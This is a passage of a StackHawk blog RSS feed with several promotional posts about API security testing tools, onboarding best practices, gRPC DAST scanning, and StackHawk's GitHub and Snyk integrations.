StackHawk&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Seamlessly integrates with modern development workflows, including directly in CI/CD.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Enables early detection of security issues in running applications.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Enhances developer productivity by automating security testing and reducing “false positive” detection.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Provides clear vulnerability documentation to help developers quickly fix issues.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;div&gt;&lt;/div&gt;&lt;h3&gt;&lt;b&gt;Akamai&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Akamai is a comprehensive, cloud-based security platform known for its cloud security solutions. Akamai’s CDN technologies protect extensively against large-scale DDoS attacks and automated web attacks. For example, an e-commerce platform can leverage Akamai&amp;#39;s CDN to protect its APIs from DDoS attacks during high-traffic events, such as those that might occur during Black Friday sales.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Benefits of Akamai&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Extensive network capable of absorbing large DDoS attacks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Advanced threat intelligence to proactively counteract emerging threats.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Optimizes API performance with its CDN capabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Provides automated web attack protection and malicious bot management.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;Snyk&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Snyk specializes in scanning, prioritizing, and fixing security vulnerabilities within code, open-source dependencies, container images, and infrastructure as code configurations. For example, a fintech startup could use Snyk to continuously scan API code and dependencies its APIs for vulnerabilities in open-source libraries, keeping its financial services secure.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Benefits of Snyk&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Includes a comprehensive database of known vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Can be integrated directly into the development process, including in CI/CD flows.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Offers real-time alerts and automated fixes for vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Supports a wide range of programming languages and environments.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;i&gt;&lt;/i&gt;&lt;a href=&quot;https://www.stackhawk.com/snyk/&quot;&gt;&lt;i&gt;Learn how StackHawk and Snyk correlate dynamic and static API Security Testing for faster fixes.&lt;/i&gt;&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;&lt;b&gt;Noname Security&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Noname Security offers a holistic API security platform that performs real-time traffic analysis to detect and prevent API abuse. It can also help to ensure compliance with security policies and standards, such as the Payment Card Industry (PCI) standard and the Health Insurance Portability and Accountability Act (HIPAA). For example, a healthcare provider could use Noname Security to monitor API traffic for abnormal patterns indicating a data breach, protecting sensitive patient data.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Benefits of Noname Security&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Provides complete visibility into API traffic and security posture.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Detects and mitigates sophisticated API attacks and vulnerabilities.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Helps with regulatory compliance through robust data protection.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Offers a zero-trust architecture for API security.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;h3&gt;&lt;b&gt;SALT Security&lt;/b&gt;&lt;/h3&gt;&lt;p&gt;Our last tool to highlight is SALT Security. SALT Security’s platform employs AI to provide continuous discovery and real-time protection for APIs against attackers. This offers insights into the security of an organization’s APIs throughout their lifecycle. For example, an online retailer could use SALT Security to analyze its API traffic patterns and identify fraudulent transactions before they affect the business.&lt;/p&gt;&lt;h4&gt;&lt;b&gt;Benefits of SALT Security&lt;/b&gt;&lt;/h4&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;Utilizes AI to identify and respond to anomalous behavior quickly.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Continuous discovery and assessment of API risks.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Provide insights into API usage and potential security gaps.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;Helps prevent business logic abuse through sophisticated pattern recognition.&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Each of these API security solutions offers unique capabilities to address the diverse needs of modern digital enterprises. By leveraging these tools and potentially layering many of them together, organizations can strengthen their defenses against the sophisticated threat landscape they and their APIs face.&lt;/p&gt;&lt;h2&gt;&lt;b&gt;Conclusion&lt;/b&gt;&lt;/h2&gt;&lt;p&gt;In this review of API security solutions, we&amp;#39;ve uncovered the importance of safeguarding one of the most critical pieces of modern enterprises: APIs. We explored the essence of API security, looked at the basics of what an API security solution is, and provided a framework for choosing the right tool for your needs. We also broke down the types of API security to give you a clear view of the defenses that should be in place to ensure secure APIs.&lt;/p&gt;&lt;p&gt;Lastly, we introduced the top 5 API security solutions of 2023—StackHawk, Akamai, Snyk, Noname Security, and SALT Security. We looked at each tool&amp;#39;s unique benefits, from StackHawk&amp;#39;s developer-centric security testing to Akamai&amp;#39;s robust DDoS protection, Snyk&amp;#39;s vigilant open-source scanning, Noname Security&amp;#39;s comprehensive traffic analysis, and SALT Security&amp;#39;s AI-driven insights.&lt;/p&gt;&lt;p&gt;If you&amp;#39;re ready to take your web application and API security testing to the next level, &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;take the first step by signing up to try StackHawk&lt;/a&gt;. With its seamless integration into your development processes and CI/CD pipelines and powerful API security testing capabilities, StackHawk ensures that your APIs are built securely from the start.
&lt;/p&gt;&lt;p&gt;&lt;b&gt;Alexa Sevilla is Director of Product Marketing at StackHawk&lt;/b&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Top 4 Ways StackHawk Customers Shift Left]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/top-4-ways-stackhawk-customers-shift-left</guid><category><![CDATA[Onboarding]]></category><dc:creator><![CDATA[Casey Cline]]></dc:creator><content:encoded>&lt;p&gt;The other day, one of our awesome new StackHawk customers asked, “Hey, do you have a list of the top best practices for new StackHawk customers? We want to make sure we’re getting the most out of this tool.”&lt;/p&gt;&lt;p&gt;What a fantastic idea! Over here on the Customer Success team, we are obsessed with ensuring our customers achieve maximum value for their investment. After all, you purchased StackHawk because you want to shift left, and we’d like to help that happen. So, without further ado, here are our top 4 best practices as you roll out with StackHawk:&lt;/p&gt;&lt;h2&gt;Include Devs Early and Often&lt;/h2&gt;&lt;p&gt;First, and perhaps most importantly, remember that StackHawk was built with devs in mind. StackHawk was designed to be automated into the CI/CD pipeline, allowing your engineers to find and fix vulnerabilities before deployment. After all, that’s what we mean by shifting left.&lt;/p&gt;&lt;p&gt;Ideally, StackHawk will become a welcome and routine part of the workflow for your developers, helping ease their worries about vulnerabilities long before your apps make their way to a customer. &lt;/p&gt;&lt;p&gt;In order to truly shift left with StackHawk, consider including devs from the beginning. Invite them to demos and POV sessions during the procurement process. Include them on invites for kick-offs and health checks with your Customer Success Manager or technical calls with a Solution Architect. If you have a shared Slack channel with StackHawk, make sure devs are included.&lt;/p&gt;&lt;p&gt;By taking this approach to shifting left, you will help build more buy-in from your Engineering team and improve Security-Engineering alignment. 
&lt;/p&gt;&lt;h2&gt;Triage Initial Findings&lt;/h2&gt;&lt;p&gt;One of the many benefits of Dast scanning is that it reduces noise, allowing the engineering team to focus only on new or critical findings. If StackHawk is your first Dast tool, however, you may get a lot of results on that first scan. This can feel like a daunting problem to hand off to an already super busy engineering team.&lt;/p&gt;&lt;p&gt;One best practice we recommend is to do a &lt;a href=&quot;https://www.stackhawk.com/blog/stackhawk-onboarding-3-triaging-and-fixing-findings/&quot;&gt;triage and remediation session&lt;/a&gt; for those initial findings. This baselines the application you’re scanning, allowing you to hand off StackHawk to your devs with no tech debt. Go through your initial findings and mark them as “risk accepted” for low-risk vulnerabilities, “false positives” where applicable, or create and assign tickets for remediation.&lt;/p&gt;&lt;p&gt;The result? A beautifully clean slate to hand off to Engineering. Instead of wading through a bunch of old or irrelevant results, your devs can simply focus on any new vulnerabilities that are found.
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Don’t Forget to Set Tech Flags&lt;/h2&gt;&lt;p&gt;Speaking of false positives, StackHawk customers eager to get the most out of their new tool optimize their set-up to be as tailored as possible. One easy way to do this is to set &lt;a href=&quot;https://docs.stackhawk.com/web-app/tech-flags.html&quot;&gt;tech flags&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;This simply means unchecking any apps or technologies (like databases and programming languages) you don’t use as an organization, which in turn stops those items from causing false positives. Now, your scans will be set to only focus on the technology you actually use.&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Don’t Be Shy About Authentication&lt;/h2&gt;&lt;p&gt;While any scanning may be considered better than no scanning, in order to get deeper and more comprehensive scan results, you will have to look at authentication. Chances are that many paths of your applications or APIs are protected by authentication. In order for StackHawk to access those protected paths, you will need to set up authenticated scans within StackHawk.&lt;/p&gt;&lt;p&gt;Luckily, we’ve created tools to help you do just that. The most common approach is to configure the stackhawk.yml file with your application’s authentication flow information. &lt;/p&gt;&lt;p&gt;For a more in-depth look at authenticated scanning, check out this &lt;a href=&quot;https://help.stackhawk.com/en/articles/6875314-getting-started-guide-authenticated-scanning&quot;&gt;helpful guide.&lt;/a&gt;
&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;So there you have it- a few simple ways to make the absolute most of your investment in StackHawk. Hungry for more knowledge? Check out our extensive and easy-to-follow &lt;a href=&quot;https://docs.stackhawk.com/&quot;&gt;docs library.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;Casey Cline is a Senior Customer Success Manager at StackHawk.&lt;/i&gt;
&lt;/p&gt;</content:encoded></item><item><title><![CDATA[gRPC Security: How StackHawk Tests gRPC Services]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/grpc-security-how-stackhawk-scans-grpc-services</guid><category><![CDATA[API Security]]></category><dc:creator><![CDATA[Austin Pearigen and Dana White]]></dc:creator><content:encoded>&lt;p&gt;In a time where API security is paramount, the adoption of gRPC (gRPC Remote Procedure Calls) is on the rise, offering advantages like performance gains and language-agnostic interfaces. However, the security aspects of gRPC remain a challenge and a mystery.&lt;/p&gt;&lt;p&gt;In this blog post, StackHawk engineers Dana White and Austin Pearigen break down the challenges of securing gRPC services and provide solutions through the lens of Dynamic Application Security Testing (DAST).
&lt;/p&gt;&lt;h2&gt;What is DAST?&lt;/h2&gt;&lt;p&gt;Dynamic Application Security Testing (DAST) is a technique that mimics a hacker&amp;#39;s actions to identify vulnerabilities in a live application. It explores the full surface of your application, checking for issues like SQL injection, among others. At StackHawk, we&amp;#39;ve developed a tool that enables this kind of testing, allowing engineers to shift security left in the development process.
&lt;/p&gt;&lt;h2&gt;Challenges in gRPC Security&lt;/h2&gt;&lt;h3&gt;Authentication&lt;/h3&gt;&lt;p&gt;Authentication is always a challenge, especially when it&amp;#39;s designed &lt;i&gt;not to be&lt;/i&gt; automated. Legacy systems often have complex authentication mechanisms that are poorly documented. To address this, we&amp;#39;ve built a developer tool, &lt;a href=&quot;https://docs.stackhawk.com/stackhawk-cli/#hawk-perch-beta&quot;&gt;Hawk Perch&lt;/a&gt;, that uses gRPC to iterate quickly on authentication configurations. This tool provides real-time feedback, making it easier to test and adjust authentication mechanisms. See how it works below.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://fast.wistia.net/embed/iframe/Ky8vzq7jmq?videoFoam=true&quot;&gt;[Video]&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Scanning gRPC Services&lt;/h3&gt;&lt;p&gt;Traditionally, DAST tools have been limited to HTTP/1-based services. However, gRPC runs over HTTP/2, which presents a challenge for traditional scanners. We&amp;#39;ve extended our tool to support gRPC, allowing us to test these services directly.
&lt;/p&gt;&lt;h2&gt;How We Scan gRPC Services&lt;/h2&gt;&lt;h3&gt;File Descriptor Set&lt;/h3&gt;&lt;p&gt;To understand a gRPC service, we use a file descriptor set, which can be generated from the service itself or accessed via reflection. This descriptor set provides us with the information we need to understand the service&amp;#39;s schema.&lt;/p&gt;&lt;h3&gt;Dynamic Messages&lt;/h3&gt;&lt;p&gt;We use gRPC&amp;#39;s Dynamic Message class to construct messages at runtime. This allows us to generate messages based on the file descriptor set, which we can then send to the gRPC service for testing. &lt;/p&gt;&lt;h3&gt;Custom Variable Injection&lt;/h3&gt;&lt;p&gt;Our tool supports custom variable injection, allowing you to specify particular values for certain fields. This is useful for testing different logic branches in your code. Below is an example configuration using custom values:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Scanning gRPC Services with StackHawk&lt;/h2&gt;&lt;p&gt;In this video, we demonstrate how the StackHawk platform works, showing a scan against a vulnerable gRPC application. The scan identifies various vulnerabilities, including SQL injection. Our platform provides detailed information on each vulnerability, along with remediation steps.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.youtube.com/embed/gZvXAj7WZu8?si=xgM_67tPbLgFPP_9&amp;t=829 &quot;&gt;[Video]&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;FAQs&lt;/h2&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Does StackHawk scan for vulnerabilities other than SQL injection?
&lt;/b&gt;Yes, our tool checks for a wide range of vulnerabilities, including all the OWASP Top 10.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Is an agent required?
&lt;/b&gt;No, as long as we can access the application, we can scan it. We recommend running the scanner as close to the application as possible for latency reasons.&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;b&gt;Is it free to get started? 
&lt;/b&gt;Yes, we offer a free trial account where you can scan a single application as much as you want. &lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;Wrapping it up!&lt;/h2&gt;&lt;p&gt;Security is a critical aspect of any application, and gRPC services are no exception. With the right tools and practices, you can identify and fix vulnerabilities before they become a problem. At StackHawk, we&amp;#39;re committed to making this process as seamless as possible, helping you secure your applications effectively.&lt;/p&gt;&lt;p&gt;
&lt;b&gt;&lt;i&gt;Dana White and Austin Pearigen are Software Engineers at StackHawk&lt;/i&gt;&lt;/b&gt;
&lt;/p&gt;&lt;p&gt;&lt;b&gt;Get started today&lt;/b&gt;:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://docs.stackhawk.com/hawkscan/configuration/gRPC-configuration.html#grpc-configuration&quot;&gt;&lt;u&gt;gRPC Configuration Docs&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/demo/&quot;&gt;&lt;u&gt;Watch a demo&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;Try StackHawk for free&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk + GitHub: Dev-First Security Testing Across the GitHub Universe]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-github-dev-first-security-testing-across-the-github-universe</guid><category><![CDATA[Integrations]]></category><dc:creator><![CDATA[Nicole Jones]]></dc:creator><content:encoded>&lt;p&gt;StackHawk and GitHub work together to help developers find and fix security vulnerabilities in their normal workflows and give security teams full visibility into their entire attack surface. The integration combines the power of StackHawk&amp;#39;s dynamic application and API security testing capabilities with GitHub&amp;#39;s collaborative platform to introduce a modern developer-first approach to security testing. &lt;/p&gt;&lt;h2&gt;But what does developer-first security mean?&lt;/h2&gt;&lt;p&gt;An application security tool being &amp;quot;developer-first&amp;quot; means that it prioritizes the needs and workflows of developers when it comes to identifying and fixing security issues in software applications. Here are the criteria for a developer-first security tool:&lt;/p&gt;&lt;p&gt;&lt;b&gt;Easy to integrate:&lt;/b&gt; A developer-first security tool can seamlessly integrate into the developer&amp;#39;s existing workflow and tools, such as CI/CD pipelines and source code managers. It levels up their coding processes without disrupting them.&lt;/p&gt;&lt;p&gt;&lt;b&gt;User-friendly:&lt;/b&gt; The tool has to have an intuitive user interface and provide clear, actionable insights into security vulnerabilities. Developers don&amp;#39;t want to waste time deciphering complex reports and going down rabbit holes; they want straightforward guidance on how to fix the issue.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Low false positives:&lt;/b&gt; Nothing frustrates developers more than dealing with a flood of false positives. A developer-first tool minimizes false alarms, ensuring that developers can easily prioritize and focus on real issues.&lt;/p&gt;&lt;p&gt;&lt;b&gt;Automation:&lt;/b&gt; The tool must automate security testing as much as possible and catch vulnerabilities early in the development cycle. Developers run automated unit and integration tests and fix code as they are working on it, not months later once it’s in production. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Customization:&lt;/b&gt; Developers have different needs, preferences, and techstacks. A developer-first tool allows customization, so developers can tailor security testing to their specific requirements.&lt;/p&gt;&lt;h2&gt;Developer-first security testing with StackHawk and GitHub &lt;/h2&gt;&lt;p&gt;StackHawk offers a number of powerful integrations within the GitHub ecosystem, enhancing the developer experience and making security testing seamless. Let&amp;#39;s take a closer look at four key integrations:&lt;/p&gt;&lt;h3&gt;GitHub Insights&lt;/h3&gt;&lt;p&gt;GitHub Insights provides continuous discovery and visibility of your organization&amp;#39;s entire attack surface from the inside out.&lt;/p&gt;&lt;p&gt;For security teams, the Repositories page is a goldmine of information. It enables them to continuously monitor and assess the security of API and application assets across the organization. This level of visibility ensures that security measures can be put in place for new assets as they are added, and existing measures can be adjusted as needed— a crucial capability with how quickly new routes and endpoints are deployed today.&lt;/p&gt;&lt;p&gt;
&lt;b&gt;How it works&lt;/b&gt;&lt;/p&gt;&lt;p&gt;StackHawk pulls metadata from your organization&amp;#39;s repositories into the StackHawk platform for security teams to easily track and monitor coverage on a single page. &lt;/p&gt;&lt;p&gt;You can view details such as repo name, the StackHawk Application it’s mapped to, last commit and scan date, and last contributor to help understand the full scope of your organization&amp;#39;s attack surface and collaborate with developers more efficiently.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/announcing-github-insights/&quot;&gt;&lt;u&gt;Learn more about GitHub Insights&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;GitHub Actions&lt;/h3&gt;&lt;p&gt;GitHub Actions enables automated security testing in your continuous integration/continuous deployment (CI/CD) pipeline. This feature brings security testing up to speed with software development as it allows you to automatically test your code for security issues at the same time as your regular testing processes like unit and integration testing.&lt;/p&gt;&lt;p&gt;This means every time a developer checks in code, you can automatically test your application and discover any new security issues as soon as they are introduced and fix them before they ever reach production.&lt;/p&gt;&lt;p&gt;&lt;b&gt;How it works&lt;/b&gt;&lt;/p&gt;&lt;p&gt;The HawkScan action found in the GitHub Actions Marketplace simplifies embedding StackHawk into GitHub Actions workflows. It’s a comprehensive action that is easy to configure and has the flexibility to handle complex use cases.&lt;/p&gt;&lt;p&gt;The HawkScan Action can run most tests with just a single parameter, your StackHawk API key, and a four-step workflow. For example, to scan a Node.js app, your GitHub Actions workflow would be as simple as this:&lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/application-security-testing-with-hawkscan-github-action/&quot;&gt;&lt;u&gt;Learn more about the HawkScan Action&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;Pull Request Checks&lt;/h3&gt;&lt;p&gt;GitHub Pull Request Checks deliver security feedback to developers on every pull request. By automating testing in a CI/CD pipeline, we are able to provide a few configuration options that allow your pipeline to explain how each scan maps back to your source code’s history. This creates a fast feedback loop for developers by associating scan results with the specific pull request, branch, and commit information. StackHawk then leverages this context to post test results as comments on the pull request.&lt;/p&gt;&lt;p&gt;The ultimate goal is to help developers iterate faster and be confident they are upholding the security requirements of the application.&lt;/p&gt;&lt;p&gt;
&lt;b&gt;How it works&lt;/b&gt;&lt;/p&gt;&lt;p&gt;When someone submits a pull request, and before it&amp;#39;s merged into the main codebase, StackHawk&amp;#39;s integration with GitHub automatically checks it for security vulnerabilities. If any issues are identified, rich test details are commented right in the pull request, alongside regular code reviews. This immediate feedback loop allows developers to address security concerns as they come up, rather than dealing with them later in the development cycle. It&amp;#39;s a win-win for both developers and security teams, fostering collaboration and proactive security practices.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/stackhawk-github-a-saga-in-shift-left-security/&quot;&gt;&lt;u&gt;Learn more about Pull Request Checks&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;CodeQL&lt;/h3&gt;&lt;p&gt;The GitHub CodeQL integration takes operational efficiency to the next level. It correlates dynamic application security testing (DAST) and static application security testing (SAST) vulnerability findings to provide developers with precise information about where an exploitable vulnerability lives in their codebase.&lt;/p&gt;&lt;p&gt;This level of granularity is a game-changer for developers, as it enables them to fix security issues faster and with greater precision. They don’t have to sift through endless lines of code trying to identify the root cause of a vulnerability; they can jump right into recreating and fixing the issue instead. &lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;How it works&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Once a StackHawk Application is mapped to a GitHub repository, scan results in StackHawk will display a GitHub badge when findings from both tools are matched based on the CWE ID. &lt;/p&gt;&lt;p&gt;If StackHawk finds an exploitable vulnerability and GitHub identifies that same issue, the vulnerability request and response information from StackHawk is reconciled with the exact line of code causing the issue from GitHub. &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/blog/github-codeql-and-stackhawk-streamlining-security-tooling-in-the-developer-workflow/&quot;&gt;&lt;u&gt;Learn more about CodeQL&lt;/u&gt;&lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Give it a try!&lt;/h2&gt;&lt;p&gt;StackHawk&amp;#39;s deep integrations with GitHub change the way developers interact with security. By embedding security testing seamlessly into their workflows, developers can proactively fix vulnerabilities in the context of their code, significantly reducing the risk of introducing bugs into production and the time it takes to fix them. With GitHub Insights, the HawkScan Action, Pull Request Checks, and CodeQL Integrations, StackHawk empowers developers to build secure code efficiently and effectively.&lt;/p&gt;&lt;p&gt;Sign up for a &lt;a href=&quot;https://auth.stackhawk.com/signup&quot;&gt;&lt;u&gt;free trial&lt;/u&gt;&lt;/a&gt; of StackHawk and look for the &lt;a href=&quot;https://github.com/marketplace/actions/stackhawk-hawkscan-action&quot;&gt;&lt;u&gt;HawkScan Action&lt;/u&gt;&lt;/a&gt; in the GitHub Actions Marketplace or the &lt;a href=&quot;https://github.com/apps/stackhawk&quot;&gt;&lt;u&gt;StackHawk app&lt;/u&gt;&lt;/a&gt; in the GitHub Applications Marketplace to get started today.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[StackHawk + Snyk: From Integrate to Inte-Awesome]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/stackhawk-snyk-from-integrate-to-inte-awesome</guid><category><![CDATA[Integrations]]></category><dc:creator><![CDATA[StackHawk]]></dc:creator><content:encoded>&lt;p&gt;StackHawk and Snyk first teamed up to build a best-in-class Dynamic Application Security Testing (DAST) and Static Application Security Testing (SAST) integration. This technical integration was born from the idea that enabling engineering teams with the right tooling and processes to work within developer ecosystems helps improve how teams can find and fix security vulnerabilities prior to deploying to production.&lt;/p&gt;&lt;p&gt;&lt;i&gt;More about our best-in-class integration here: &lt;/i&gt;&lt;a href=&quot;https://www.stackhawk.com/snyk/&quot;&gt;&lt;u&gt;https://www.stackhawk.com/snyk/&lt;/u&gt;&lt;/a&gt; &lt;/p&gt;&lt;p&gt;But it takes more than a technical integration and a streamlined sales process to make a strong, long lasting partnership. So what are the keys to the success that StackHawk and Snyk have found? &lt;/p&gt;&lt;p&gt;It really comes down to two things: &lt;b&gt;Market-Driven Momentum&lt;/b&gt; and &lt;b&gt;Developer-First Cultures&lt;/b&gt;. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Market-Driven Momentum&lt;/b&gt;&lt;/p&gt;&lt;p&gt;Snyk has done an amazing job paving the way for developer-first application security testing with SAST and StackHawk’s DAST is a perfect complement. We make it easy to correlate findings from a Snyk Code test, enabling teams to better prioritize fixes and helping to streamline API and application security testing. &lt;/p&gt;&lt;p&gt;With this joint solution, we’ve seen significant interest and enthusiasm from a variety of customers spanning different industries. Many are looking to shift application security left, while bridging the gap between developers and AppSec teams to drive efficiencies and accelerate go-to-market strategies. Others are looking to displace legacy vendors, which are not typically user (i.e. developer) friendly, have significantly slower scan times, and can’t keep pace with modern software architecture and tools. &lt;/p&gt;&lt;p&gt;StackHawk and Snyk were both created for modern apps and teams with the ability to find and fix security bugs in microservices, any type of API, and modern development languages. &lt;/p&gt;&lt;p&gt;&lt;b&gt;Developer-First Cultures&lt;/b&gt;&lt;/p&gt;&lt;p&gt;The other key to our successful partnership is the fact that StackHawk and Snyk share similar cultures and philosophies - with developers and development teams at the center of everything we do. &lt;/p&gt;&lt;p&gt;Developer-first security testing isn’t just a tagline from our website - it’s at the core of everything we do as a company and through our partnership with Snyk. We believe that Developers should be equipped with the information and tools they need to fix vulnerabilities quickly and get back to feature development. And when two companies partner together and truly align on a common mission, it can be really powerful. &lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://www.stackhawk.com/snyk/&quot;&gt;&lt;b&gt;&lt;u&gt;The StackHawk and Snyk Difference&lt;/u&gt;&lt;/b&gt;&lt;/a&gt;&lt;/p&gt;&lt;p&gt;Since the launch of our integration, we’ve continued to find new and exciting ways to partner with the Snyk team to better meet the needs of engineering and AppSec teams of every size. We’re thrilled to announce a new stage in our partnership enabling Snyk to sell StackHawk DAST to their customers.

“Snyk and StackHawk bring developer-first perspectives to application security through their modern approach to SAST and DAST. Together, we’re able to provide customers with an automated, scalable approach to securing applications in the pipeline, before shipping to production.” said Carey Stanton, SVP, Business Development. “We’re excited to strengthen our partnership with StackHawk, offering a seamless approach to building a strong security posture through application security.”&lt;/p&gt;&lt;p&gt;Allowing customers to purchase StackHawk through Snyk not only simplifies the purchase and procurement process, but also accelerates the time to value for customers looking to purchase a complete set of application security tooling. &lt;/p&gt;&lt;p&gt;For more information about StackHawk and Snyk, visit: &lt;a href=&quot;https://www.stackhawk.com/snyk/&quot;&gt;&lt;u&gt;https://www.stackhawk.com/snyk/&lt;/u&gt;&lt;/a&gt; &lt;/p&gt;&lt;div&gt;&lt;/div&gt;&lt;p&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Announcing GitHub Insights]]></title><guid isPermaLink="false">https://www.stackhawk.com/lp/announcing-github-insights</guid><category><![CDATA[Product Manager's Corner]]></category><dc:creator><![CDATA[Nicole Jones]]></dc:creator><content:encoded>&lt;p&gt;Tired of being the last to know when new code is deployed and routes are added to your attack surface?&lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;Meet &lt;b&gt;GitHub Insights&lt;/b&gt;, your one-stop-shop to get a Hawk&amp;#39;s eye view of your entire attack surface. With this information, you can identify gaps in coverage, align security testing with software development, plan security measures for new assets early in the development process, and collaborate with engineering more efficiently. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;h2&gt;How it Works&lt;/h2&gt;&lt;p&gt;StackHawk&amp;#39;s GitHub integration pulls metadata from your organization&amp;#39;s repositories into the StackHawk platform for security teams to easily track and monitor coverage under one roof in the &lt;a href=&quot;https://app.stackhawk.com/repositories&quot;&gt;Repositories page&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;The integration uses read-only access to extract helpful metadata from your repositories, such as repo name, size, last commit date, and last contributor. By surfacing meaningful metadata from your repos, you can quickly identify and configure applications for testing, maintain continuous visibility of your organization&amp;#39;s attack surface, and collaborate with engineering more efficiently.&lt;/p&gt;&lt;p&gt;&lt;b&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;GitHub Insights can help you answer questions like: &lt;/b&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;p&gt;&amp;quot;What&amp;#39;s the state of my organization&amp;#39;s onboarding process?  Which StackHawk apps are configured, which are still not mapped?&amp;quot;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&amp;quot;Is my security coverage keeping up with the speed of development?&amp;quot;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&amp;quot;Who should I work with from engineering when I need to configure a new application for testing or a vulnerability arises in a scan?&amp;quot;&lt;/p&gt;&lt;/li&gt;&lt;li&gt;&lt;p&gt;&amp;quot;What repositories in my organization contain key assets/services that should be under test (i.e. APIs)?&amp;quot;&lt;/p&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;/p&gt;&lt;p&gt;👀 &lt;a 